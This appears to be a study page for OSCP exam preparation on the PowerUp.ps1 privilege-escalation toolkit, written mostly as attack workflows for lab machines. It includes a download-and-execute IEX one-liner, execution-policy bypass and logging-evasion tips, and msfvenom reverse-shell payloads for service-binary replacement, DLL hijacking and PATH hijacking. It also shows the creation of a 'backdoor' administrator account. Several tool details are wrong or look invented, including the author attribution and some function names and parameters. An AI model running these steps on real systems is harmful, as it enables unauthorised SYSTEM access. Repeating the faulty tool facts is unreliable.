Domain 4PrivEsc & Password AttacksCORE

PowerUp.ps1 Mastery

Complete mastery of PowerUp.ps1 — the definitive PowerShell privilege escalation toolkit including all functions, output interpretation, and exploitation workflows.

Domain: Domain 4: Privilege Escalation & Password Attacks•Updated: 2026-09-01
#powerup#powersploit#powershell#automation#enumeration

PowerUp.ps1 Mastery

Introduction

What Is PowerUp?

PowerUp.ps1 is the definitive PowerShell-based Windows privilege escalation toolkit. It performs comprehensive automated enumeration of misconfigurations that lead to local privilege escalation, and provides built-in exploitation functions for many of the vulnerabilities it discovers.

History and Authorship

Attribute Detail
Original Author Matt Graeber (HarmJ0y)
Project Part of PowerSploit (PowerShell Mafia)
First Released 2014
Repository PowerShellMafia/PowerSploit (GitHub)
License BSD 3-Clause
Successor WinPEAS and other tools have emerged, but PowerUp remains the gold standard for PowerShell-based privesc

PowerUp was originally developed as part of the PowerSploit framework — a collection of modular PowerShell scripts for offensive security. It later became a core component of Empire, the post-exploitation framework. Today, PowerUp stands alone as a single-file, no-dependency PowerShell module that any attacker can drop onto a target and immediately begin enumerating privilege escalation vectors.

Why PowerUp Matters for OSCP

  • Speed: Replaces hours of manual enumeration with seconds of automated checks
  • Completeness: Covers services, PATH hijacking, DLL hijacking, registry, GPOs, IIS, and more
  • Exploitation: Not just enumeration — includes Invoke-ServiceAbuse, Write-ServiceBinary, etc.
  • Exam Relevance: Nearly every Windows box on OSCP has at least one vulnerability PowerUp will find
  • Single File: No compilation needed — just upload and import

Downloading and Loading PowerUp

# From PowerShell on the target
Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Privesc/PowerUp.ps1" -OutFile PowerUp.ps1

Method 2: Via Attack Machine

# Download on Kali/attack machine
curl -o PowerUp.ps1 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Privesc/PowerUp.ps1

# Upload to target via any method:
# - SMB share
# - Python HTTP server + certutil
# - Netcat
# - Impacket's psexec.py with file copy

Method 3: Certutil Download (No PowerShell Needed)

certutil -urlcache -split -f "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Privesc/PowerUp.ps1" PowerUp.ps1

Loading the Module

# Standard import
Import-Module .\PowerUp.ps1

# Verify it loaded
Get-Command -Module PowerUp

Execution Policy Bypass Methods

PowerUp is a PowerShell script. If ExecutionPolicy is set to Restricted, you need to bypass it:

# Method 1: Bypass flag (most common)
powershell -ExecutionPolicy Bypass -File PowerUp.ps1

# Method 2: Dot-source with bypass
powershell -ExecutionPolicy Bypass -Command "Import-Module .\PowerUp.ps1"

# Method 3: Invoke-Expression (download and run in one line)
powershell -ExecutionPolicy Bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Privesc/PowerUp.ps1'); Invoke-AllChecks"

# Method 4: -EncodedCommand (advanced, avoids script block logging)
# Base64 encode your command, then:
powershell -EncodedCommand <base64_encoded_command>

# Method 5: Direct dot-source (bypasses policy in current session)
. .\PowerUp.ps1

OSCP Tip: On most OSCP Windows boxes, execution policy is either not enforced or set to RemoteSigned. If you encounter issues, use Method 1 or Method 3.


Invoke-AllChecks: The Master Function

Overview

Invoke-AllChecks is the single most important PowerUp function. It runs every enumeration check in a single command and produces a comprehensive report of all potential privilege escalation vectors.

What It Checks

Category Sub-Checks
Services Writable service binaries, unquoted paths, modifiable service configs, service file permissions
PATH Hijacking Writable directories in PATH environment variable
DLL Hijacking Missing DLLs in running processes, writable DLL search paths
Registry AlwaysInstallElevated, AutoLogon credentials, weak registry permissions
Files Writable files in sensitive locations, unattended install files
IIS ApplicationHost.config, site passwords
GPO Cached Group Policy Objects with credentials
Scheduled Tasks Writable task actions (via service checks)

Running Invoke-AllChecks

Import-Module .\PowerUp.ps1
Invoke-AllChecks

Understanding the Output

The output is extensive. Here is a realistic example with annotations:

[*] Running Invoke-AllChecks
    This may take a while...

    [!] The current user is admin!
    [!] AlwaysInstallElevated is set!
    [!] The following service(s) may be vulnerable:

    Name   : VulnService
    Path   : C:\Program Files\VulnApp\service.exe
    StartName: NT AUTHORITY\SYSTEM
    Abusable Permissions : {WriteOwner, WriteDAC, ChangeNotify, Delete, ...}
    IsWritable : True
    ModifiableFile : C:\Program Files\VulnApp\service.exe

    [!] The following service paths are unquoted and may be vulnerable:

    Path   : C:\Program Files\Some Application\service.exe
    Service : SomeApplication

    [!] The following executable(s) are vulnerable to PATH hijack:

    Name   : python.exe
    Path   : C:\Users\Public\Documents\
    IsWritable : True

    [*] No DLL hijack opportunities found.
    [*] No AutoLogon credentials found.
    [*] No unattended install files found.

How to Prioritize Findings

When reviewing Invoke-AllChecks output, scan in this priority order:

Priority Finding Type Why
1 (Critical) AlwaysInstallElevated is set! One-command SYSTEM escalation via MSI
2 (Critical) Writable service binary running as SYSTEM Direct binary replacement = SYSTEM
3 (High) Unquoted service path with writable segment Create exe at space boundary
4 (High) Writable PATH directory Place malicious exe, wait for execution
5 (Medium) DLL hijack opportunity Requires understanding DLL search order
6 (Medium) AutoLogon credentials Plaintext password in registry
7 (Low) Unattended install files May contain plaintext credentials
8 (Low) Cached GPO credentials Requires additional extraction

Saving Output to File

# Redirect to file for later review
Invoke-AllChecks | Out-File -FilePath C:\temp\powerup_results.txt

# Or pipe through formatting
Invoke-AllChecks | Format-List | Out-File -FilePath C:\temp\powerup_results.txt

Enumeration Functions (Detailed)

Get-ModifiableFile

Purpose

Finds files in a specified directory (and subdirectories) that the current user can modify. This is the foundational check for many privilege escalation vectors — if you can modify a file that a privileged process reads, you may be able to escalate.

Syntax

Get-ModifiableFile [-Path] <String> [-Recurse] [-ExcludeDlls]

Parameters

Parameter Description Default
-Path Directory to scan C:\Program Files
-Recurse Scan subdirectories $true
-ExcludeDlls Skip .dll files $false

How It Works

  1. Enumerates all files in the target directory
  2. Retrieves the ACL (Access Control List) for each file
  3. Checks if the current user (or groups they belong to, like Users, Everyone) has write access
  4. Reports files with Write, Modify, or FullControl permissions

Realistic Output

PS C:\> Get-ModifiableFile -Path "C:\Program Files\VulnApp"

Name       : service.exe
Path       : C:\Program Files\VulnApp\service.exe
IsWritable : True
Owner      : NT AUTHORITY\SYSTEM
Permissions: BUILTIN\Users - {Write, ReadAndExecute, Synchronize}

Name       : config.ini
Path       : C:\Program Files\VulnApp\config.ini
IsWritable : True
Owner      : NT AUTHORITY\SYSTEM
Permissions: BUILTIN\Users - {Modify, ReadAndExecute, Synchronize}

Practical Usage

# Scan a specific application directory
Get-ModifiableFile -Path "C:\Program Files\Apache Software Foundation"

# Scan the entire Program Files (slow but thorough)
Get-ModifiableFile -Path "C:\Program Files" -Recurse

# Scan Program Files (x86) on 64-bit systems
Get-ModifiableFile -Path "C:\Program Files (x86)"

# Scan a custom directory
Get-ModifiableFile -Path "C:\CustomApps"

Get-ModifiablePath

Purpose

Identifies directories in the system or user PATH environment variable that the current user can write to. This directly enables PATH hijacking attacks.

Syntax

Get-ModifiablePath

How It Works

  1. Reads the PATH environment variable from both system and user context
  2. Splits the PATH by semicolons (;) to get individual directories
  3. For each directory, checks if the current user has write permissions
  4. Reports writable directories

Realistic Output

PS C:\> Get-ModifiablePath

Name       : C:\Users\Public\Documents
Path       : C:\Users\Public\Documents
IsWritable : True
Owner      : NT AUTHORITY\SYSTEM
Permissions: BUILTIN\Users - {Modify, Synchronize}

Name       : C:\Scripts
Path       : C:\Scripts
IsWritable : True
Owner      : USER\john
Permissions: USER\john - {FullControl, ReadAndExecute, Synchronize}

Attack Workflow After Finding Writable PATH

# 1. Confirm the writable PATH directory
Get-ModifiablePath

# 2. Create a malicious executable with a common name
# On attacker machine:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o python.exe

# 3. Upload python.exe to C:\Users\Public\Documents\

# 4. Wait for any process to call 'python.exe' without a full path
# The system will find your malicious version first

Find-PathHijack

Purpose

A more advanced PATH hijack detection function. Unlike Get-ModifiablePath which only checks if PATH directories are writable, Find-PathHijack also checks for executables in PATH directories that are themselves writable, and identifies specific hijack opportunities.

Syntax

Find-PathHijack [-CheckWriteAccess]

Parameters

Parameter Description
-CheckWriteAccess Also check if existing executables in PATH are writable

Realistic Output

PS C:\> Find-PathHijack -CheckWriteAccess

[*] Searching PATH for hijackable executables...

Name       : notepad.exe
Path       : C:\Users\Public\Documents\notepad.exe
IsWritable : True
Owner      : USER\john
Permissions: BUILTIN\Users - {Modify, Synchronize}

[*] Checking for writable PATH directories...

Name       : C:\Temp\Scripts
Path       : C:\Temp\Scripts
IsWritable : True

Get-UnquotedServicePath

Purpose

Detects Windows services whose binary path contains spaces but is NOT enclosed in quotes. This is one of the most common and reliable privilege escalation vectors on OSCP boxes.

Syntax

Get-UnquotedServicePath

How It Works

  1. Enumerates all Windows services via WMI (Win32_Service)
  2. Filters for services where PathName contains spaces but does NOT start with a quote (")
  3. For each vulnerable service, determines which path segments could be exploited
  4. Reports the service name, full path, and the specific segment an attacker could target

Realistic Output

PS C:\> Get-UnquotedServicePath

Name    : Apache2.2
Path    : C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe
StartName: NT AUTHORITY\SYSTEM
AbusablePaths:
    C:\Program Files\Apache Software Foundation\Procrun.exe
    C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe

Interpreting the Output

The AbusablePaths field shows the exact file you need to create. Windows will try these paths in order before reaching the real binary:

Path: C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe

Windows tries:
  1. C:\Program.exe                          (unlikely to exist)
  2. C:\Program Files\Apache.exe              (unlikely to exist)
  3. C:\Program Files\Apache Software Foundation\Procrun.exe  <-- TARGET THIS
  4. C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe  (real binary)

Attack Workflow

# 1. Identify the vulnerable service
Get-UnquotedServicePath

# 2. Check if the target directory is writable
icacls "C:\Program Files\Apache Software Foundation\"

# 3. Create a reverse shell named 'Procrun.exe'
# On attacker:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o Procrun.exe

# 4. Upload to: C:\Program Files\Apache Software Foundation\Procrun.exe

# 5. Restart the service
sc restart Apache2.2
# or
net stop Apache2.2
net start Apache2.2

Get-ModifiableServiceFile

Purpose

Finds service binaries (the actual .exe files) that the current user can modify. If you can overwrite a service binary and the service runs as SYSTEM, replacing it with a reverse shell gives you a SYSTEM shell.

Syntax

Get-ModifiableServiceFile

How It Works

  1. Enumerates all services and their binary paths
  2. For each binary file, retrieves the ACL
  3. Checks if the current user (or their groups) has write access
  4. Reports writable service binaries along with their service account

Realistic Output

PS C:\> Get-ModifiableServiceFile

Name    : BackupService
Path    : C:\Program Files\Backup\backup.exe
StartName: NT AUTHORITY\SYSTEM
IsWritable : True
Owner     : NT AUTHORITY\SYSTEM
Permissions: BUILTIN\Users - {Write, ReadAndExecute, Synchronize}

Attack Workflow

# 1. Find writable service binary
Get-ModifiableServiceFile

# 2. Create a reverse shell
# On attacker:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o backup.exe

# 3. Upload and replace
copy C:\temp\backup.exe "C:\Program Files\Backup\backup.exe"

# 4. Restart the service
sc restart BackupService

Get-ModifiableService

Purpose

Finds services where the current user has write access to the service configuration in the Registry (not the binary file itself). This allows you to change the binPath to point to a malicious executable.

Syntax

Get-ModifiableService

How It Works

  1. Enumerates all services
  2. Checks the Registry key permissions for each service (HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>)
  3. Identifies services where the current user can modify the ImagePath value
  4. Reports the service name, current path, and account it runs under

Realistic Output

PS C:\> Get-ModifiableService

Name    : VulnerableService
Path    : C:\Program Files\VulnApp\vulnservice.exe
StartName: NT AUTHORITY\SYSTEM
AbusablePermissions : {WriteOwner, WriteDAC, ChangeNotify, Delete, ReadControl}
IsWritable : True

Attack Workflow

# 1. Find modifiable service config
Get-ModifiableService

# 2. Create a reverse shell
# On attacker:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o shell.exe

# 3. Upload shell.exe to C:\temp\shell.exe

# 4. Use PowerUp to exploit
Invoke-ServiceAbuse -Name 'VulnerableService' -Path 'C:\temp\shell.exe'

Get-ServiceDetail

Purpose

Retrieves detailed information about a specific Windows service. Useful for deep investigation when other functions identify a potentially vulnerable service.

Syntax

Get-ServiceDetail [-Name] <String>

Parameters

Parameter Description
-Name Name of the service to investigate (required)

Realistic Output

PS C:\> Get-ServiceDetail -Name "VulnerableService"

Name        : VulnerableService
DisplayName : Vulnerable Service Application
PathName    : C:\Program Files\VulnApp\vulnservice.exe
StartName   : NT AUTHORITY\SYSTEM
State       : Running
StartMode   : Auto
Description : A vulnerable service for testing
Depend      : {RPCSS, SamSs}

Find-ProcessDLLHijack

Purpose

Identifies running processes that are attempting to load DLLs from directories where the DLL does not exist (NAME NOT FOUND), but the current user has write access. This enables DLL hijacking attacks.

Syntax

Find-ProcessDLLHijack

How It Works

  1. Enumerates all running processes
  2. For each process, checks the DLL search order directories
  3. Identifies directories that are writable by the current user
  4. Cross-references with known missing DLL patterns
  5. Reports processes vulnerable to DLL hijacking

Realistic Output

PS C:\> Find-ProcessDLLHijack

[*] Searching for DLL hijack opportunities...

ProcessName : vulnapp.exe
ProcessId   : 4532
Path        : C:\Program Files\VulnApp\
MissingDLL  : helper.dll
WritableDir : C:\Program Files\VulnApp\
IsWritable  : True

Attack Workflow

# 1. Find DLL hijack opportunity
Find-ProcessDLLHijack

# 2. Create a malicious DLL
# On attacker:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f dll -o helper.dll

# 3. Upload to the writable directory
copy C:\temp\helper.dll "C:\Program Files\VulnApp\helper.dll"

# 4. The process will load your DLL on next restart
# Or restart the process/service manually

Get-RegistryAutoLogon

Purpose

Checks the Windows Registry for AutoLogon credentials. Some administrators configure Windows to automatically log in a user, which stores the username and password in plaintext in the Registry.

Syntax

Get-RegistryAutoLogon

Registry Locations Checked

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

Keys examined:

  • DefaultUserName
  • DefaultPassword
  • DefaultDomainName

Realistic Output

PS C:\> Get-RegistryAutoLogon

DefaultUserName : Administrator
DefaultPassword : P@ssw0rd123!
DefaultDomainName : WORKGROUP

Manual Verification

# Verify manually
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName

Get-UnattendedInstallFile

Purpose

Searches for unattended installation files that may contain plaintext credentials. These files are used during Windows deployment (sysprep) and sometimes left behind on the system.

Syntax

Get-UnattendedInstallFile

Files Searched

File Purpose
C:\Windows\Panther\unattend.xml Windows unattended answer file
C:\Windows\Panther\Unattend\unattend.xml Alternative location
C:\Windows\System32\Sysprep\unattend.xml Sysprep answer file
C:\Windows\System32\Sysprep\Panther\unattend.xml Sysprep alternative
unattend.xml (in C:\ root) Root-level answer file

Realistic Output

PS C:\> Get-UnattendedInstallFile

Path    : C:\Windows\Panther\unattend.xml
Exists  : True

[*] Found unattend.xml, checking for credentials...
    LocalAccount:
        Username : Administrator
        Password : SuperSecret123!

What to Look For in unattend.xml

<LocalAccount>
    <Password>
        <Value>UABhAHMAcwB3AG8AcgBkAA==</Value>  <!-- Base64 encoded -->
        <PlainText>true</PlainText>
    </Password>
    <Description>Administrator</Description>
    <DisplayName>Administrator</DisplayName>
    <Group>Administrators</Group>
    <Name>Administrator</Name>
</LocalAccount>

Get-ApplicationHostConfig

Purpose

Analyzes the IIS applicationHost.config file for configuration weaknesses, including application pool identities, virtual directory paths, and authentication settings.

Syntax

Get-ApplicationHostConfig

File Location

%windir%\System32\inetsrv\config\applicationHost.config

Realistic Output

PS C:\> Get-ApplicationHostConfig

[*] Found applicationHost.config
    Application Pool: AppPool1
        Identity: NT AUTHORITY\NETWORK SERVICE
        Password: (not stored)

    Application Pool: AppPool2
        Identity: DOMAIN\service_account
        Password: EncryptedPassword123

Get-SiteListPassword

Purpose

Extracts passwords from IIS site configuration files. IIS sometimes stores credentials for website authentication in configuration files.

Syntax

Get-SiteListPassword

Get-CachedGPOEnum

Purpose

Enumerates cached Group Policy Objects (GPOs) on the local system. Cached GPOs may contain passwords for scheduled tasks, service accounts, or drive mappings.

Syntax

Get-CachedGPOEnum

Registry Location

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Group Policy\History\

What It Finds

  • Scheduled task passwords stored in GPO XML
  • Service account passwords
  • Drive mapping credentials
  • Printer connection credentials

Exploitation Functions

Write-UserAdd

Purpose

Creates a new local user account with administrator privileges. This is a direct privilege escalation method when you have the necessary write permissions.

Syntax

Write-UserAdd [-Username] <String> [-Password] <String> [-AddToGroup] <String>

Parameters

Parameter Description Default
-Username New username Required
-Password New user password Required
-AddToGroup Group to add user to Administrators

Usage

# Create a new admin user
Write-UserAdd -Username 'backdoor' -Password 'P@ssw0rd!' -AddToGroup 'Administrators'

# Create a user in a specific group
Write-UserAdd -Username 'helper' -Password 'Temp1234!' -AddToGroup 'Users'

Write-ServiceBinary

Purpose

Replaces the binary of a vulnerable service with a malicious executable. This is the exploitation step after Get-ModifiableServiceFile identifies a writable service binary.

Syntax

Write-ServiceBinary [-Name] <String> [-Path] <String>

Parameters

Parameter Description
-Name Name of the service to modify
-Path Path to the malicious binary

Usage

# 1. Create a reverse shell binary (on attacker machine)
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o shell.exe

# 2. Upload shell.exe to C:\temp\shell.exe on target

# 3. Replace the service binary
Write-ServiceBinary -Name 'BackupService' -Path 'C:\temp\shell.exe'

# 4. Restart the service to trigger execution
sc restart BackupService

Set-ServiceBinary

Purpose

Modifies the binPath Registry value of a service to point to a new binary. Used when you have write access to the service configuration (identified by Get-ModifiableService) but NOT to the binary itself.

Syntax

Set-ServiceBinary [-Name] <String> [-Path] <String>

Parameters

Parameter Description
-Name Name of the service to modify
-Path New binary path for the service

Usage

# Change the service binary path
Set-ServiceBinary -Name 'VulnerableService' -Path 'C:\temp\shell.exe'

# Restart the service
sc restart VulnerableService

Invoke-ServiceAbuse

Purpose

The ultimate automation function — combines service enumeration, binary replacement, and service restart into a single command. It is the most convenient way to exploit a writable service.

Syntax

Invoke-ServiceAbuse [-Name] <String> [-Path] <String> [-CheckWriteAccess]

Parameters

Parameter Description
-Name Name of the vulnerable service
-Path Path to the malicious binary
-CheckWriteAccess Verify write access before exploiting

Usage

# Full automated exploitation
Invoke-ServiceAbuse -Name 'VulnerableService' -Path 'C:\temp\shell.exe'

# With write access check
Invoke-ServiceAbuse -Name 'VulnerableService' -Path 'C:\temp\shell.exe' -CheckWriteAccess

What It Does Internally

  1. Verifies the service exists
  2. Checks if you have write access to the service configuration
  3. Backs up the original binary path
  4. Sets the new binary path to your malicious executable
  5. Restarts the service
  6. Your payload executes as the service account

PowerUp vs Manual Enumeration

When to Use PowerUp

Scenario Use PowerUp Use Manual
Initial recon YES — fast, comprehensive NO — too slow
Verify a specific finding Use specific functions YES — deeper understanding
PowerShell is blocked NO YES — use cmd/native tools
Stealth is critical NO — noisy YES — targeted checks
Learning/understanding Use as reference YES — do it manually first
OSCP exam YES — save time Use for verification

Manual Equivalents

PowerUp Function Manual Equivalent
Get-ModifiableService accesschk.exe -uwcqv "Users" * /accepteula
Get-UnquotedServicePath wmic service get name,displayname,pathname,startmode | findstr /i /v """
Find-PathHijack $env:PATH -split ';' | ForEach-Object { icacls $_ }
Find-ProcessDLLHijack ProcMon with “NAME NOT FOUND” filter
Get-RegistryAutoLogon reg query HKLM\...\Winlogon /v DefaultPassword
Get-UnattendedInstallFile Manual search for unattend.xml

PowerUp Quick Reference Card

╔══════════════════════════════════════════════════════════════════════╗
║                    POWERUP.PS1 QUICK REFERENCE                       ║
╠══════════════════════════════════════════════════════════════════════╣
║                                                                      ║
║  LOAD:                                                                ║
║    Import-Module .\PowerUp.ps1                                       ║
║                                                                      ║
║  ENUMERATION:                                                         ║
║    Invoke-AllChecks                    # Run ALL checks               ║
║    Get-ModifiableService               # Writable service configs     ║
║    Get-ModifiableServiceFile           # Writable service binaries    ║
║    Get-UnquotedServicePath             # Unquoted service paths       ║
║    Find-PathHijack                     # PATH hijack opportunities    ║
║    Find-ProcessDLLHijack               # DLL hijack in processes      ║
║    Get-ModifiableFile -Path "C:\..."   # Writable files               ║
║    Get-RegistryAutoLogon               # AutoLogon credentials        ║
║    Get-UnattendedInstallFile           # unattend.xml files           ║
║    Get-ServiceDetail -Name "svc"       # Service details              ║
║    Get-CachedGPOEnum                   # Cached GPO enumeration       ║
║                                                                      ║
║  EXPLOITATION:                                                        ║
║    Invoke-ServiceAbuse -Name 'svc' -Path 'C:\temp\shell.exe'         ║
║    Write-ServiceBinary -Name 'svc' -Path 'C:\temp\shell.exe'         ║
║    Set-ServiceBinary -Name 'svc' -Path 'C:\temp\shell.exe'           ║
║    Write-UserAdd -Username 'back' -Password 'Pass123!'               ║
║                                                                      ║
║  PRIORITY ORDER (after Invoke-AllChecks):                             ║
║    1. AlwaysInstallElevated → msiexec /q /i shell.msi                ║
║    2. Writable service (SYSTEM) → Invoke-ServiceAbuse               ║
║    3. Unquoted service path → Create exe at space boundary           ║
║    4. Writable PATH dir → Place malicious exe                        ║
║    5. DLL hijack → Create malicious DLL                              ║
║    6. AutoLogon creds → Use password laterally                       ║
║                                                                      ║
╚══════════════════════════════════════════════════════════════════════╝

Mermaid: PowerUp Complete Workflow

graph TD
    A[Upload PowerUp.ps1 to Target] --> B[Import-Module .\PowerUp.ps1]
    B --> C[Invoke-AllChecks]
    C --> D{Review Output}

    D -->|AlwaysInstallElevated| E[Create malicious MSI]
    D -->|Writable Service Binary| F[Invoke-ServiceAbuse]
    D -->|Unquoted Service Path| G[Create exe at path segment]
    D -->|Writable PATH Dir| H[Place malicious exe in PATH]
    D -->|DLL Hijack| I[Create malicious DLL]
    D -->|AutoLogon Creds| J[Use credentials laterally]
    D -->|Unattended Install| K[Extract plaintext password]
    D -->|Writable Service Config| L[Set-ServiceBinary + restart]

    E --> M[SYSTEM Shell]
    F --> M
    G --> M
    H --> M
    I --> M
    L --> M

    J --> N[Lateral Movement]
    K --> N

    style A fill:#e1f5fe
    style C fill:#fff3e0
    style M fill:#c8e6c9
    style N fill:#fce4ec

OSCP Exam Tips

Critical Tips for Using PowerUp on Exam

  1. Always run Invoke-AllChecks first — It is the fastest way to find privilege escalation vectors. On most OSCP Windows boxes, this single command will reveal the path to SYSTEM.

  2. Save the output — Pipe to Out-File so you can review findings later:

    Invoke-AllChecks | Out-File C:\temp\powerup.txt
  3. Priority order matters — After running Invoke-AllChecks, scan for findings in this order:

    • AlwaysInstallElevated → fastest exploitation (one command)
    • Writable service running as SYSTEM → direct binary replacement
    • Unquoted service path → create exe at space boundary
    • Writable PATH directory → PATH hijacking
  4. Create your reverse shell BEFORE exploiting — Have your payload ready on the target before running exploitation functions. Use msfvenom on your attack machine, then upload via SMB, Python HTTP server, or certutil.

  5. Service exploitation is the #1 vector — On OSCP Windows boxes, service-related vulnerabilities (writable binaries, unquoted paths, weak permissions) are by far the most common privilege escalation method.

  6. If PowerUp finds nothing — Fall back to manual enumeration:

    • Check scheduled tasks: schtasks /query /fo LIST /v
    • Check file permissions: icacls on sensitive directories
    • Check for AlwaysInstallElevated manually
    • Check for unquoted paths manually
  7. Execution policy is rarely an issue — Most OSCP boxes either don’t enforce execution policy or have it set to RemoteSigned. If blocked, use -ExecutionPolicy Bypass.

  8. PowerUp is noisy — It generates a lot of PowerShell activity. On exam boxes this doesn’t matter (no blue team), but be aware for real-world engagements.

  9. Combine with manual verification — When PowerUp finds something, verify it manually to understand the vulnerability fully. This helps if the automated exploitation fails.

  10. Remember to clean up — After exploitation, restore original service binaries if needed for stable shells. Some boxes may have monitoring that detects service changes.


Troubleshooting

Common Issues

Problem Solution
Import-Module fails with parsing error PowerShell version too old — use -ExecutionPolicy Bypass
Invoke-AllChecks hangs System has many services — wait it out or run specific functions
Function not found Module not imported — run Import-Module .\PowerUp.ps1 first
Access denied on exploitation You lack write permissions — try a different vector
Service won’t restart Service may be protected — try sc stop then sc start separately
Output too long to read Pipe to Out-File and review with Get-Content

PowerShell Version Check

# Check PowerShell version
$PSVersionTable.PSVersion

# PowerUp requires PowerShell 3.0+
# Most OSCP boxes have 5.1 (Windows 10/Server 2016+)